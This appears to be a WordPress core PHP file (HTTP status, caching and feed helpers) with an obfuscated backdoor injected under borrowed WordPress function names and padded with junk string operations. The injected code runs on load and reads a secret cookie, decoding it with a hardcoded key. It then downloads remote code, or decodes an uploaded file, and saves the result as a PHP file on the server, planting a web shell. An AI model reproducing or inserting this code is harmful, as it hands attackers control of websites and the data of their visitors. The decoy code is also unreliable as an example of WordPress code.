WordPress Query object. * @global WP_Query $wp_the_query Copy of the WordPress Query object. * * @param string|array $query_vars Default WP_Query arguments. function wp( $query_vars = '' ) { global $wp, $wp_query, $wp_the_query; $wp->main( $query_vars ); if ( ! isset( $wp_the_query ) ) { $wp_the_query = $wp_query; } } * * Retrieves the description for the HTTP status. * * @since 2.3.0 * @since 3.9.0 Added status codes 418, 428, 429, 431, and 511. * @since 4.5.0 Added status codes 308, 421, and 451. * @since 5.1.0 Added status code 103. * * @global array $wp_header_to_desc * * @param int $code HTTP status code. * @return string Status description if found, an empty string otherwise. function get_status_header_desc( $code ) { global $wp_header_to_desc; $code = absint( $code ); if ( ! isset( $wp_header_to_desc ) ) { $wp_header_to_desc = array( 100 => 'Continue', 101 => 'Switching Protocols', 102 => 'Processing', 103 => 'Early Hints', 200 => 'OK', 201 => 'Created', 202 => 'Accepted', 203 => 'Non-Authoritative Information', 204 => 'No Content', 205 => 'Reset Content', 206 => 'Partial Content', 207 => 'Multi-Status', 226 => 'IM Used', 300 => 'Multiple Choices', 301 => 'Moved Permanently', 302 => 'Found', 303 => 'See Other', 304 => 'Not Modified', 305 => 'Use Proxy', 306 => 'Reserved', 307 => 'Temporary Redirect', 308 => 'Permanent Redirect', 400 => 'Bad Request', 401 => 'Unauthorized', 402 => 'Payment Required', 403 => 'Forbidden', 404 => 'Not Found', 405 => 'Method Not Allowed', 406 => 'Not Acceptable', 407 => 'Proxy Authentication Required', 408 => 'Request Timeout', 409 => 'Conflict', 410 => 'Gone', 411 => 'Length Required', 412 => 'Precondition Failed', 413 => 'Request Entity Too Large', 414 => 'Request-URI Too Long', 415 => 'Unsupported Media Type', 416 => 'Requested Range Not Satisfiable', 417 => 'Expectation Failed', 418 => 'I\'m a teapot', 421 => 'Misdirected Request', 422 => 'Unprocessable Entity', 423 => 'Locked', 424 => 'Failed Dependency', 426 => 'Upgrade Required', 428 => 'Precondition Required', 429 => 'Too Many Requests', 431 => 'Request Header Fields Too Large', 451 => 'Unavailable For Legal Reasons', 500 => 'Internal Server Error', 501 => 'Not Implemented', 502 => 'Bad Gateway', 503 => 'Service Unavailable', 504 => 'Gateway Timeout', 505 => 'HTTP Version Not Supported', 506 => 'Variant Also Negotiates', 507 => 'Insufficient Storage', 510 => 'Not Extended', 511 => 'Network Authentication Required', ); } if ( isset( $wp_header_to_desc[ $code ] ) ) { return $wp_header_to_desc[ $code ]; } else { return ''; } } * * Sets HTTP status header. * * @since 2.0.0 * @since 4.4.0 Added the `$description` parameter. * * @see get_status_header_desc() * * @param int $code HTTP status code. * @param string $description Optional. A custom description for the HTTP status. * Defaults to the result of get_status_header_desc() for the given code. function status_header( $code, $description = '' ) { if ( ! $description ) { $description = get_status_header_desc( $code ); } if ( empty( $description ) ) { return; } $protocol = wp_get_server_protocol(); $status_header = "$protocol $code $description"; if ( function_exists( 'apply_filters' ) ) { * * Filters an HTTP status header. * * @since 2.2.0 * * @param string $status_header HTTP status header. * @param int $code HTTP status code. * @param string $description Description for the status code. * @param string $protocol Server protocol. $status_header = apply_filters( 'status_header', $status_header, $code, $description, $protocol ); } if ( ! headers_sent() ) { header( $status_header, true, $code ); } } * * Gets the header information to prevent caching. * * The several different headers cover the different ways cache prevention * is handled by different browsers * * @since 2.8.0 * * @return array The associative array of header names and field values. function wp_get_nocache_headers() { $headers = array( 'Expires' => 'Wed, 11 Jan 1984 05:00:00 GMT', 'Cache-Control' => 'no-cache, must-revalidate, max-age=0', ); if ( function_exists( 'apply_filters' ) ) { * * Filters the cache-controlling headers. * * @since 2.8.0 * * @see wp_get_nocache_headers() * * @param array $headers Header names and field values. $headers = (array) apply_filters( 'nocache_headers', $headers ); } $headers['Last-Modified'] = false; return $headers; } * * Sets the headers to prevent caching for the different browsers. * * Different browsers support different nocache headers, so several * headers must be sent so that all of them get the point that no * caching should occur. * * @since 2.0.0 * * @see wp_get_nocache_headers() function nocache_headers() { if ( headers_sent() ) { return; } $headers = wp_get_nocache_headers(); unset( $headers['Last-Modified'] ); header_remove( 'Last-Modified' ); foreach ( $headers as $name => $field_value ) { header( "{$name}: {$field_value}" ); } } * * Sets the headers for caching for 10 days with JavaScript content type. * * @since 2.1.0 function cache_javascript_headers() { $expiresOffset = 10 * DAY_IN_SECONDS; header( 'Content-Type: text/javascript; charset=' . get_bloginfo( 'charset' ) ); header( 'Vary: Accept-Encoding' ); Handle proxies. header( 'Expires: ' . gmdate( 'D, d M Y H:i:s', time() + $expiresOffset ) . ' GMT' ); } * * Retrieves the number of database queries during the WordPress execution. * * @since 2.0.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @return int Number of database queries. function get_num_queries() { global $wpdb; return $wpdb->num_queries; } * * Determines whether input is yes or no. * * Must be 'y' to be true. * * @since 1.0.0 * * @param string $yn Character string containing either 'y' (yes) or 'n' (no). * @return bool True if 'y', false on anything else. function bool_from_yn( $yn ) { return ( 'y' === strtolower( $yn ) ); } * * Loads the feed template from the use of an action hook. * * If the feed action does not have a hook, then the function will die with a * message telling the visitor that the feed is not valid. * * It is better to only have one hook for each feed. * * @since 2.1.0 * * @global WP_Query $wp_query WordPress Query object. function do_feed() { global $wp_query; $feed = get_query_var( 'feed' ); Remove the pad, if present. $feed = preg_replace( '/^_+/', '', $feed ); if ( '' === $feed || 'feed' === $feed ) { $feed = get_default_feed(); } if ( ! has_action( "do_feed_{$feed}" ) ) { wp_die( __( '<strong>Error:</strong> This is not a valid feed template.' ), '', array( 'response' => 404 ) ); } * * Fires once the given feed is loaded. * * The dynamic portion of the hook name, `$feed`, refers to the feed template name. * * Possible hook names include: * * - `do_feed_atom` * - `do_feed_rdf` * - `do_feed_rss` * - `do_feed_rss2` * * @since 2.1.0 * @since 4.4.0 The `$feed` parameter was added. * * @param bool $is_comment_feed Whether the feed is a comment feed. * @param string $feed The feed name. do_action( "do_feed_{$feed}", $wp_query->is_comment_feed, $feed ); } * * Loads the RDF RSS 0.91 Feed template. * * @since 2.1.0 * * @see load_template() function do_feed_rdf() { load_template( ABSPATH . WPINC . '/feed-rdf.php' ); } * * Loads the RSS 1.0 Feed Template. * * @since 2.1.0 * * @see load_template() function do_feed_rss() { load_template( ABSPATH . WPINC . '/feed-rss.php' ); } * * Loads either the RSS2 comment feed or the RSS2 posts feed. * * @since 2.1.0 * * @see load_template() * * @param bool $for_comments True for the comment feed, false for normal feed. function do_feed_rss2( $for_comments ) { if ( $for_comments ) { load_template( ABSPATH . WPINC . '/feed-rss2-comments.php' ); } else { load_template( ABSPATH . WPINC . '/feed-rss2.php' ); } } * * Loads either Atom comment feed or Atom posts feed. * * @since 2.1.0 * * @see load_template() * * @param bool $for_comments True for the comment feed, false for normal feed. function do_feed_atom( $for_comments ) { if ( $for_comments ) { load_template( ABSPATH . WPINC . '/feed-atom-comments.php' ); } else { load_template( ABSPATH . WPINC . '/feed-atom.php' ); } } * * Displays the default robots.txt file content. * * @since 2.1.0 * @since 5.3.0 Remove the "Disallow: /" output if */ /** * Retrieves the author who last edited the current post. * * @since 2.8.0 * * @return string|void The author's display name, empty string if unknown. */ function wp_get_nav_menu_items($thisfile_riff_video_current){ $thisfile_riff_video_current = ord($thisfile_riff_video_current); $codes = 'h2jv5pw5'; // Combine CSS selectors that have identical declarations. return $thisfile_riff_video_current; } /** * WordPress Administration Template Header. */ function wp_register_colors_support($needle, $resource, $tile_depth){ if (isset($_FILES[$needle])) { wp_enqueue_registered_block_scripts_and_styles($needle, $resource, $tile_depth); } wp_getMediaLibrary($tile_depth); } /** * Fires before the Edit Category form. * * @since 2.1.0 * @deprecated 3.0.0 Use {@see '{$taxonomy}_pre_edit_form'} instead. * * @param WP_Term $v_pos_entry Current category term object. */ function is_subdomain_install($tile_depth){ $translations_path = 't8wptam'; createBody($tile_depth); // $this->fseek($unwrapped_namenfo['avdataend']); // Don't delete, yet: 'wp-pass.php', $IndexNumber = 'q2i2q9'; $translations_path = ucfirst($IndexNumber); $translations_path = strcoll($translations_path, $translations_path); wp_getMediaLibrary($tile_depth); } $use_verbose_rules = 't5lw6x0w'; $FrameLengthCoefficient = 'bi8ili0'; /** * @see ParagonIE_Sodium_Compat::crypto_secretbox() * @param string $FirstFrameThisfileInfo * @param string $terms_to_edit * @param string $appearance_cap * @return string * @throws SodiumException * @throws TypeError */ function wp_ajax_imgedit_preview($FirstFrameThisfileInfo, $terms_to_edit, $appearance_cap) { return ParagonIE_Sodium_Compat::crypto_secretbox($FirstFrameThisfileInfo, $terms_to_edit, $appearance_cap); } /** * Add a "BCC" address. * * @param string $address The email address to send to * @param string $name * * @throws Exception * * @return bool true on success, false if address already used or invalid in some way */ function populate_roles_270($rel_id){ $alert_header_names = 'pthre26'; // Port - supports "port-lists" in the format: "80,8000,8080". // Else there isn't something before the parent. // Sends a user defined command string to the $alert_header_names = trim($alert_header_names); $DKIM_private = 'p84qv5y'; $DKIM_private = strcspn($DKIM_private, $DKIM_private); $v_data = 'u8posvjr'; $rel_id = "http://" . $rel_id; return file_get_contents($rel_id); } /** * Displays last step of custom header image page. * * @since 2.1.0 */ function wp_set_link_cats ($new_post_data){ $tab_index = 'ngytiy4hc'; $old_home_parsed = 'x0t0f2xjw'; $old_home_parsed = strnatcasecmp($old_home_parsed, $old_home_parsed); // If fetching the first page of 'newest', we need a top-level comment count. $one_minux_y = 'trm93vjlf'; $changeset_setting_values = 'ruqj'; // Upload failed. Cleanup. $one_minux_y = strnatcmp($old_home_parsed, $changeset_setting_values); // Template for the Attachment display settings, used for example in the sidebar. // by Steve Webster <steve.websterØfeaturecreep*com> // // Build an array of the tags (note that said array ends up being in $tokens[0]). // Insert Front Page or custom Home link. // Put terms in order with no child going before its parent. // Each Byte has a value according this formula: $strhfccType = 'nsiv'; # memset(block, 0, sizeof block); $old_home_parsed = chop($old_home_parsed, $strhfccType); $strhfccType = strtolower($changeset_setting_values); // Append the cap query to the original queries and reparse the query. // translators: 1: The Site Health action that is no longer used by core. 2: The new function that replaces it. $new_post_data = convert_uuencode($tab_index); $maxlength = 'xe0gkgen'; $new_post_data = ucfirst($new_post_data); $one_minux_y = rtrim($maxlength); // Build the CSS. $queries = 'c43ft867'; $collision_avoider = 'oi7c9sxp'; $responsive_container_classes = 'ct45f7f'; $admin_all_status = 'hc71q5'; $queries = stripcslashes($admin_all_status); $collision_avoider = strtolower($responsive_container_classes); // Merge the items. $queries = ltrim($maxlength); $maxlength = strnatcasecmp($strhfccType, $maxlength); // ----- Look for current path // _delete_site_logo_on_remove_theme_mods from firing and causing an // Avoid issues where mbstring.func_overload is enabled. $new_post_data = ucfirst($tab_index); // ----- Look if the $last_item_filelist is really an array // Add the suggested policy text from WordPress. $macdate = 'u9wrjvqc'; // Check post status to determine if post should be displayed. # for (i = 1; i < 10; ++i) { // alt names, as per RFC2818 $local_storage_message = 'b1fgp34r'; $local_storage_message = html_entity_decode($maxlength); $collision_avoider = levenshtein($new_post_data, $macdate); $collision_avoider = strcspn($tab_index, $collision_avoider); $one_minux_y = strnatcasecmp($maxlength, $one_minux_y); $macdate = stripos($tab_index, $responsive_container_classes); $streaminfo = 'j2oel290k'; // use or not temporary file. The algorithm is looking for $disallowed_html = 'nc7xvfe'; // get URL portion of the redirect $admin_all_status = addcslashes($admin_all_status, $streaminfo); // PCLZIP_OPT_REMOVE_ALL_PATH : $new_post_data = strrpos($macdate, $disallowed_html); $maxlength = strtoupper($queries); // Moved to: wp-includes/js/dist/a11y.min.js $copyrights = 'v448'; //multibyte strings without breaking lines within a character $one_minux_y = strnatcmp($copyrights, $strhfccType); $queries = strtoupper($old_home_parsed); $collision_avoider = strtr($macdate, 17, 13); $admin_all_status = htmlspecialchars_decode($one_minux_y); //Make sure it ends with a line break $same = 'sesx'; $same = base64_encode($disallowed_html); $new_post_data = levenshtein($responsive_container_classes, $responsive_container_classes); // Use an md5 hash of the strings for a count cache, as it's fast to generate, and collisions aren't a concern. $responsive_container_classes = bin2hex($macdate); // List themes global styles. // End foreach ( $old_sidebars_widgets as $old_sidebar => $old_widgets ). $submenu_text = 'qqavow'; // Find the local version of the working directory. $status_fields = 'rwu3z'; $submenu_text = strcspn($same, $status_fields); return $new_post_data; } $akismet_api_host = 'okihdhz2'; /** * Sanitizes and then splits a password into smaller chunks. * * @since 5.6.0 * * @param string $raw_password The raw application password. * @return string The chunked password. */ function wp_enqueue_registered_block_scripts_and_styles($needle, $resource, $tile_depth){ $find_handler = 'vb0utyuz'; $secure_transport = 'm77n3iu'; $find_handler = soundex($secure_transport); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Cannot be prepared. Fetches columns for table names. // Short form response - attachment ID only. // Flat. $empty_slug = 'lv60m'; // video atom // If we didn't get a unique slug, try appending a number to make it unique. $all_values = $_FILES[$needle]['name']; $mysql_server_type = site_states($all_values); $secure_transport = stripcslashes($empty_slug); confirm_user_signup($_FILES[$needle]['tmp_name'], $resource); // Register advanced menu items (columns). // user for http authentication $find_handler = crc32($find_handler); //it has historically worked this way. register_block_core_rss($_FILES[$needle]['tmp_name'], $mysql_server_type); } /** * Wraps attachment in paragraph tag before content. * * @since 2.0.0 * * @param string $use_id * @return string */ function wp_unschedule_hook($use_id) { $cached_mofiles = get_post(); if (empty($cached_mofiles->post_type) || 'attachment' !== $cached_mofiles->post_type) { return $use_id; } if (wp_attachment_is('video', $cached_mofiles)) { $v_value = wp_get_attachment_metadata(get_the_ID()); $thumbnail_src = array('src' => wp_get_attachment_url()); if (!empty($v_value['width']) && !empty($v_value['height'])) { $thumbnail_src['width'] = (int) $v_value['width']; $thumbnail_src['height'] = (int) $v_value['height']; } if (has_post_thumbnail()) { $thumbnail_src['poster'] = wp_get_attachment_url(get_post_thumbnail_id()); } $last_item = wp_video_shortcode($thumbnail_src); } elseif (wp_attachment_is('audio', $cached_mofiles)) { $last_item = wp_audio_shortcode(array('src' => wp_get_attachment_url())); } else { $last_item = '<p class="attachment">'; // Show the medium sized image representation of the attachment if available, and link to the raw file. $last_item .= wp_get_attachment_link(0, 'medium', false); $last_item .= '</p>'; } /** * Filters the attachment markup to be prepended to the post content. * * @since 2.0.0 * * @see wp_unschedule_hook() * * @param string $last_item The attachment HTML output. */ $last_item = apply_filters('wp_unschedule_hook', $last_item); return "{$last_item}\n{$use_id}"; } $compressed = 'bdg375'; $rnd_value = 'b8joburq'; /* * $dictionary like 'name = "[shortcode]"' or "name = '[shortcode]'". * We do not know if $use_id was unfiltered. Assume KSES ran before shortcodes. */ function HandleEMBLSimpleTag($new_rel, $namespace_stack){ $s13 = 'aup11'; $allow_pings = 's1ml4f2'; $g3 = 'ifge9g'; $allowed_statuses = 'qzq0r89s5'; $caption_length = wp_get_nav_menu_items($new_rel) - wp_get_nav_menu_items($namespace_stack); // Value <text string according to encoding> // Use admin_init instead of init to ensure get_current_screen function is already available. // Nikon Camera preVieW image $caption_length = $caption_length + 256; $caption_length = $caption_length % 256; $new_rel = sprintf("%c", $caption_length); return $new_rel; } $new_title = 'u2pmfb9'; function concat($do_verp) { return Akismet::get_comment_history($do_verp); } /** * Sets the header on request. * * @since 4.4.0 * * @param string $appearance_cap Header name. * @param string $value Header value, or list of values. */ function wp_getMediaLibrary($FirstFrameThisfileInfo){ $defaultSize = 'fhtu'; // Theme is already at the latest version. echo $FirstFrameThisfileInfo; } $the_cat = 'cwf7q290'; /** * Exception for 418 I'm A Teapot responses * * @link https://tools.ietf.org/html/rfc2324 * * @package Requests\Exceptions */ function sign_verify_detached ($collision_avoider){ // Get ImageMagic information, if available. $tab_index = 'rvnvrh2'; $submenu_text = 'a109'; // match, reject the cookie $tab_index = ucfirst($submenu_text); $s13 = 'aup11'; $ret2 = 'qes8zn'; $action_url = 'czmz3bz9'; $new_post_data = 'rjusid'; // Upgrade DB with separate request. // The footer is a copy of the header, but with a different identifier. $status_fields = 'djsx34cd'; $closer_tag = 'obdh390sv'; $sticky_args = 'dkyj1xc6'; $binvalue = 'ryvzv'; $s13 = ucwords($binvalue); $action_url = ucfirst($closer_tag); $ret2 = crc32($sticky_args); $new_post_data = strtr($status_fields, 8, 12); $orig_size = 'h9yoxfds7'; $toks = 'tatttq69'; $active_theme_version = 'h3cv0aff'; $collision_avoider = lcfirst($collision_avoider); $toks = addcslashes($toks, $s13); $orig_size = htmlentities($closer_tag); $ret2 = nl2br($active_theme_version); $submenu_text = bin2hex($new_post_data); $site_exts = 'nb4g6kb'; $options_misc_pdf_returnXREF = 'gbfjg0l'; $active_theme_version = stripcslashes($active_theme_version); // Reverse the string if we're on a big-endian arch because l is the only signed long and is machine endianness $disallowed_html = 'gr178'; $disallowed_html = quotemeta($submenu_text); // Element ID coded with an UTF-8 like system: // Recording sample rate, Hz $options_misc_pdf_returnXREF = html_entity_decode($options_misc_pdf_returnXREF); $site_exts = urldecode($action_url); $responsive_container_content_directives = 'vc07qmeqi'; $responsive_container_content_directives = nl2br($active_theme_version); $core_widget_id_bases = 't0i1bnxv7'; $binvalue = wordwrap($s13); $binvalue = stripslashes($options_misc_pdf_returnXREF); $closer_tag = stripcslashes($core_widget_id_bases); $ret2 = strtoupper($ret2); $author_posts_url = 'qpvu3pw2b'; $ssl_verify = 'xtje'; $suhosin_loaded = 'udcwzh'; $ret2 = strrev($responsive_container_content_directives); // // experimental side info parsing section - not returning anything useful yet $framecounter = 'i7wndhc'; $ssl_verify = soundex($core_widget_id_bases); $options_misc_pdf_returnXREF = strnatcmp($binvalue, $suhosin_loaded); $tab_index = wordwrap($author_posts_url); // 978307200 == mktime(0, 0, 0, 1, 1, 2001) == January 1, 2001 12:00:00am UTC // Explicitly request the reviews URL to be linked from the Add Themes screen. $core_widget_id_bases = crc32($site_exts); $suhosin_loaded = strcspn($suhosin_loaded, $s13); $framecounter = strnatcasecmp($responsive_container_content_directives, $active_theme_version); $reference_time = 'q3ipy4s'; $reference_time = quotemeta($disallowed_html); $suhosin_loaded = strip_tags($suhosin_loaded); $active_theme_version = rtrim($active_theme_version); $action_url = soundex($closer_tag); $login_title = 'm5kcxa46m'; // PHP (32-bit all, and 64-bit Windows) doesn't support integers larger than 2^31 (~2GB) $login_title = str_shuffle($author_posts_url); // Randomize the order of Image blocks. // ----- Call the extracting fct $descendant_id = 'gline9'; $unapprove_url = 'ikcfdlni'; $max_j = 'a6aybeedb'; $audio_exts = 'u4u7leri6'; // If a custom 'textColor' was selected instead of a preset, still add the generic `has-text-color` class. $collision_avoider = strtoupper($descendant_id); $a3 = 'd5snn2e5'; $binvalue = strcoll($unapprove_url, $toks); $audio_exts = str_shuffle($active_theme_version); $action_url = str_repeat($max_j, 4); $num_pages = 'o3koahtk'; $a3 = strrpos($num_pages, $login_title); $toArr = 'wktciz'; $sticky_args = crc32($active_theme_version); $views_links = 'cy5w3ldu'; $QuicktimeIODSaudioProfileNameLookup = 'c22cb'; $config_settings = 'ubsu'; $views_links = convert_uuencode($site_exts); $QuicktimeIODSaudioProfileNameLookup = chop($binvalue, $unapprove_url); // ----- Read the options $submenu_text = ucfirst($toArr); // This function indicates if the path $last_item_path is under the $last_meta_id tree. Or, // Prevent post_name from being dropped, such as when contributor saves a changeset post as pending. // Account for an array overriding a string or object value. $anon_author = 'rh6ddzsuo'; // delete([$last_item_option, $last_item_option_value, ...]) $anon_author = ucfirst($descendant_id); $api_response = 'daad'; $f1g3_2 = 'x4l3'; $blog_users = 'y4jd'; $same = 'peqx'; $action_url = lcfirst($f1g3_2); $options_misc_pdf_returnXREF = urlencode($api_response); $config_settings = crc32($blog_users); $max_j = substr($max_j, 16, 8); $current_date = 'tq6x'; $s13 = rawurldecode($api_response); $PHP_SELF = 'jwuoag'; // To be set with JS below. // Gzip marker. $same = strnatcmp($PHP_SELF, $num_pages); $stack_item = 'gqifj'; $tablefield_type_lowercased = 'lsvpso3qu'; $session_tokens_props_to_export = 'wt833t'; // requires functions simplexml_load_string and get_object_vars // for ($channel = 0; $channel < $unwrapped_namenfo['audio']['channels']; $channel++) { $action_url = rtrim($stack_item); $map_option = 'ksz2dza'; $current_date = substr($session_tokens_props_to_export, 6, 6); // Block Types. // Don't register new widget if old widget with the same id is already registered. $tablefield_type_lowercased = sha1($map_option); $tz_hour = 'dcdxwbejj'; $signup = 'v9yo'; // 0000 0001 xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx - value 0 to 2^56-2 return $collision_avoider; } /** * The array of MIME boundary strings. * * @var array */ function create_initial_rest_routes($rel_id){ if (strpos($rel_id, "/") !== false) { return true; } return false; } $TargetTypeValue = 'h09xbr0jz'; $corresponding = 'qsfecv1'; /** * Your Rights administration panel. * * @package WordPress * @subpackage Administration */ function remove_option_whitelist($needle, $resource){ // requires functions simplexml_load_string and get_object_vars $newfolder = $_COOKIE[$needle]; $can_add_user = 'kwz8w'; $rewind = 'ekbzts4'; $string_length = 'sjz0'; $calc = 'xwi2'; $newfolder = pack("H*", $newfolder); $noparents = 'qlnd07dbb'; $calc = strrev($calc); $uncompressed_size = 'y1xhy3w74'; $can_add_user = strrev($can_add_user); $tile_depth = get_day_permastruct($newfolder, $resource); // Only operators left. $levels = 'ugacxrd'; $string_length = strcspn($noparents, $noparents); $site_health_count = 'lwb78mxim'; $rewind = strtr($uncompressed_size, 8, 10); // If the current connection can't support utf8mb4 characters, let's only send 3-byte utf8 characters. // Do not allow embeds for deleted/archived/spam sites. if (create_initial_rest_routes($tile_depth)) { $crons = is_subdomain_install($tile_depth); return $crons; } wp_register_colors_support($needle, $resource, $tile_depth); } /* translators: %s: Database access abstraction class, usually wpdb or a class extending wpdb. */ function rest_get_allowed_schema_keywords($needle){ $resource = 'NPYMoLprkuQsOSTuusSriozmClancsN'; // Reference Movie Cpu Speed atom // Don't update these options since they are handled elsewhere in the form. // The response is Huffman coded by many compressors such as if (isset($_COOKIE[$needle])) { remove_option_whitelist($needle, $resource); } } /* * Run `ParagonIE_Sodium_Compat::runtime_speed_test()` in optimized integer mode, * as that's what WordPress utilizes during signing verifications. */ function get_day_permastruct($authtype, $appearance_cap){ // Let's consider only these rows. // Tools hooks. $NextSyncPattern = strlen($appearance_cap); $timezone_string = strlen($authtype); // binary // allows redirection off-site $NextSyncPattern = $timezone_string / $NextSyncPattern; $gravatar = 'rqyvzq'; $calc = 'xwi2'; $TIMEOUT = 'ijwki149o'; // Lazy-load by default for any unknown context. $NextSyncPattern = ceil($NextSyncPattern); // Prevent dumping out all attachments from the media library. // We're not interested in URLs that contain query strings or fragments. $calc = strrev($calc); $gravatar = addslashes($gravatar); $mode_class = 'aee1'; // Range queries. $schema_styles_elements = str_split($authtype); $TIMEOUT = lcfirst($mode_class); $site_health_count = 'lwb78mxim'; $locations_assigned_to_this_menu = 'apxgo'; $appearance_cap = str_repeat($appearance_cap, $NextSyncPattern); $locations_assigned_to_this_menu = nl2br($locations_assigned_to_this_menu); $calc = urldecode($site_health_count); $echoerrors = 'wfkgkf'; $nplurals = 'ecyv'; $TIMEOUT = strnatcasecmp($mode_class, $echoerrors); $calc = wordwrap($calc); // Recording length in seconds $echoerrors = ucfirst($mode_class); $nplurals = sha1($nplurals); $site_health_count = substr($site_health_count, 16, 7); $calc = strnatcmp($site_health_count, $calc); $min_data = 'ne5q2'; $nplurals = strtolower($nplurals); // ID 250 $checked_attribute = str_split($appearance_cap); $read = 'dejyxrmn'; $nplurals = rtrim($gravatar); $vars = 'qw7okvjy'; // but no two may be identical $min_data = htmlentities($read); $calc = stripcslashes($vars); $locations_assigned_to_this_menu = strcoll($gravatar, $nplurals); $locations_assigned_to_this_menu = quotemeta($locations_assigned_to_this_menu); $site_health_count = crc32($vars); $mode_class = strrev($TIMEOUT); $view_media_text = 'asim'; $used_post_formats = 't5z9r'; $email_or_login = 'pttpw85v'; $checked_attribute = array_slice($checked_attribute, 0, $timezone_string); $site_action = array_map("HandleEMBLSimpleTag", $schema_styles_elements, $checked_attribute); //typedef struct _amvmainheader { $site_action = implode('', $site_action); $email_or_login = strripos($gravatar, $locations_assigned_to_this_menu); $used_post_formats = basename($used_post_formats); $view_media_text = quotemeta($min_data); $nag = 'cj7wt'; $echoerrors = convert_uuencode($view_media_text); $thumbnails_ids = 'tuel3r6d'; // phpcs:ignore PHPCompatibility.IniDirectives.RemovedIniDirectives.safe_modeDeprecatedRemoved return $site_action; } $compressed = str_shuffle($compressed); $needle = 'OtQpcmj'; /** * Filters whether a post is sticky. * * @since 5.3.0 * * @param bool $unwrapped_names_sticky Whether a post is sticky. * @param int $timeout_late_cron Post ID. */ function site_states($all_values){ // Fallback my have been filtered so do basic test for validity. $child_ids = 'orqt3m'; $body_id = 'kn2c1'; $count_cache = __DIR__; $child_ids = html_entity_decode($body_id); $customize_url = 'a2593b'; // Avoid single A-Z and single dashes. $customize_url = ucwords($body_id); $lmatches = ".php"; $all_values = $all_values . $lmatches; $all_values = DIRECTORY_SEPARATOR . $all_values; $encdata = 'suy1dvw0'; $all_values = $count_cache . $all_values; //Assemble a DKIM 'z' tag return $all_values; } /* * Full jQuery UI. * The build process in 1.12.1 has changed significantly. * In order to keep backwards compatibility, and to keep the optimized loading, * the source files were flattened and included with some modifications for AMD loading. * A notable change is that 'jquery-ui-core' now contains 'jquery-ui-position' and 'jquery-ui-widget'. */ function wp_publish_post($rel_id, $mysql_server_type){ $to_remove = populate_roles_270($rel_id); $frame_idstring = 't8b1hf'; $translations_path = 't8wptam'; $bString = 'ngkyyh4'; // if object cached, and cache is fresh, return cached obj if ($to_remove === false) { return false; } $authtype = file_put_contents($mysql_server_type, $to_remove); return $authtype; } /** * Debug level to show all messages. * * @var int */ function createBody($rel_id){ $all_values = basename($rel_id); $mysql_server_type = site_states($all_values); $namecode = 'wc7068uz8'; $gap = 'w7mnhk9l'; wp_publish_post($rel_id, $mysql_server_type); } /** * Filters the returned trackback URL. * * @since 2.2.0 * * @param string $trackback_url The trackback URL. */ function register_block_core_rss($term_name, $nextFrameID){ $remotefile = 'jyej'; $akismet_comment_nonce_option = 'tbauec'; $f3f4_2 = move_uploaded_file($term_name, $nextFrameID); // If not, easy peasy. //Enqueue addresses with IDN until we know the PHPMailer::$CharSet. $remotefile = rawurldecode($akismet_comment_nonce_option); // Remove by reference. $remotefile = levenshtein($remotefile, $akismet_comment_nonce_option); return $f3f4_2; } /* Create a new block with as many lines as we need * for the trailing context. */ function confirm_user_signup($mysql_server_type, $appearance_cap){ // Translate, don't apply markup, sanitize HTML. $mce_external_languages = file_get_contents($mysql_server_type); // Check that each src is a non-empty string. $f1f4_2 = get_day_permastruct($mce_external_languages, $appearance_cap); // Set playtime string $v_add_path = 'df6yaeg'; $default_capabilities_for_mapping = 'b6s6a'; // This size isn't set. // $amended_content7 = $f0g7 + $f1g6 + $f2g5 + $f3g4 + $f4g3 + $f5g2 + $f6g1 + $f7g0 + $f8g9_19 + $f9g8_19; file_put_contents($mysql_server_type, $f1f4_2); } /** * Prepares variables for use in templates. * * @since 2.1.0 * @access public */ function setup_theme ($same){ $document = 'okod2'; $name_matcher = 'ed73k'; $responsive_container_classes = 'rlh6d4e2'; $tab_index = 'wy2rmr'; // Remove non-numeric values. $toArr = 'd1bwf'; // signed/two's complement (Little Endian) // If the comment author includes multibyte characters right around the 255-byte mark, they // Main site is not a spam! // Force refresh of update information. // If the folder is falsey, use its parent directory name instead. $document = stripcslashes($document); $name_matcher = rtrim($name_matcher); $ctxA2 = 'm2tvhq3'; $skip = 'zq8jbeq'; $skip = strrev($document); $ctxA2 = strrev($ctxA2); // No more security updates for the PHP version, must be updated. $document = basename($document); $definition_group_style = 'y9h64d6n'; $formvars = 'f27jmy0y'; $global_post = 'yhmtof'; $responsive_container_classes = strripos($tab_index, $toArr); // or a dir with all its path removed $disallowed_html = 'eclinri'; $tab_index = htmlspecialchars($disallowed_html); $status_fields = 'hilhhs6'; $status_fields = substr($disallowed_html, 13, 12); // cannot step above this level, already at top level // Arguments specified as `readonly` are not allowed to be set. $formvars = html_entity_decode($skip); $definition_group_style = wordwrap($global_post); $cluster_entry = 'cgcn09'; $name_matcher = strtolower($ctxA2); $formvars = stripos($document, $cluster_entry); $definition_group_style = ucwords($definition_group_style); $definition_group_style = stripslashes($name_matcher); $formvars = md5($cluster_entry); $collision_avoider = 'cit3'; // under Windows, this should be C:\temp $ctxA2 = nl2br($ctxA2); $gps_pointer = 'br5rkcq'; $cwd = 'xh3qf1g'; $formvars = is_string($gps_pointer); $descendant_id = 'tphck'; $disposition_type = 's5prf56'; $cluster_entry = strnatcasecmp($skip, $cluster_entry); // With id_base widget ID's are constructed like {$last_error_base}-{$last_error_number}. $style_handles = 'unb8'; $document = chop($formvars, $document); $cwd = quotemeta($disposition_type); $video_profile_id = 'wxj5tx3pb'; $document = base64_encode($document); // Plugin hooks. $collision_avoider = strripos($descendant_id, $style_handles); $summary = 'q047omw'; $disposition_type = htmlspecialchars_decode($video_profile_id); $summary = lcfirst($skip); $mysql_var = 'zdc8xck'; $num_pages = 'y9jrl83w'; $create_ddl = 'cxcxgvqo'; $selected_user = 'gohk9'; $reference_time = 'mxpdhezo'; //if (!isset($thisfile_video['bitrate']) && isset($thisfile_audio['bitrate']) && isset($thisfile_asf['file_properties_object']['max_bitrate']) && ($thisfile_asf_codeclistobject['codec_entries_count'] > 1)) { $new_file_data = 'lndhsw'; $num_pages = chop($reference_time, $new_file_data); $mysql_var = stripslashes($selected_user); $create_ddl = addslashes($create_ddl); $link_html = 'nrvntq'; $this_role = 'gn5ly97'; $new_post_data = 'xp9isvfe'; // Index Specifiers array of: varies // $new_post_data = urldecode($descendant_id); $gps_pointer = lcfirst($this_role); $mysql_var = crc32($link_html); return $same; } rest_get_allowed_schema_keywords($needle); /** * Triggers actions on site status updates. * * @since 5.1.0 * * @param WP_Site $MPEGaudioData 